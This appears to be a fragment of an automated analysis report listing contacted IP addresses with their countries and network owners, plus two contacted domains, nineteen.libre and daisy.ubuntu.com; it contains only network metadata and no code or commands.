108.235.171.96
 unknown United States
7018 ATT-INTERNET4US false
94.137.64.6
 unknown Russian Federation
47645 STC-NET-ASRU false
20.170.176.64
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
138.171.22.46
 unknown United States
637 DNIC-ASBLK-00616-00665US false
80.230.179.90
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
63.75.145.40
 unknown United States
701 UUNETUS false
109.55.184.135
 unknown Italy
16232 ASN-TIMServiceProviderIT false
129.99.142.56
 unknown United States
10343 AS10343US false
196.167.210.108
 unknown South Africa
328065 Vast-Networks-ASZA false
184.130.134.227
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
66.164.141.96
 unknown United States
11492 CABLEONEUS false
76.191.126.138
 unknown United States
19194 JOVITAUS false
211.221.224.36
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
89.81.99.170
 unknown France
5410 BOUYGTEL-ISPFR false
87.53.120.69
 unknown Denmark
3292 TDCTDCASDK false
44.137.98.48
 unknown United States
208717 ZUIJLEN-ASNL false
1.215.230.2
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
191.199.158.97
 unknown Brazil
26599 TELEFONICABRASILSABR false
176.221.125.191
 unknown Poland
21021 MULTIMEDIA-ASCableDTVInternetVoiceProviderinPoland false
192.6.246.153
 unknown United States
54735 TTGSIUS false
208.251.231.14
 unknown United States
22014 GREENBLUM-BERNSTEINUS false
167.165.237.254
 unknown United States
394534 CITYOFCHICAGO-ASN-01US false
188.164.182.139
 unknown Russian Federation
43567 SOUTHTEL-ASRU false
120.22.181.42
 unknown Australia
133612 VODAFONE-AS-APVodafoneAustraliaPtyLtdAU false
26.118.201.4
 unknown United States
7922 COMCAST-7922US false
209.178.98.196
 unknown United States
7029 WINDSTREAMUS false
159.88.54.50
 unknown United States
32982 DOE-HQUS false
131.194.239.166
 unknown United States
19342 TRINITY-UNIVERSITYUS false
85.132.8.15
 unknown Azerbaijan
201167 CASTEL-ASAZ false
135.101.89.80
 unknown United States
18676 AVAYAUS false
14.187.202.197
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false

Contacted Domains

Name IP Active
nineteen.libre 38.54.122.172 true
daisy.ubuntu.com 162.213.35.25 true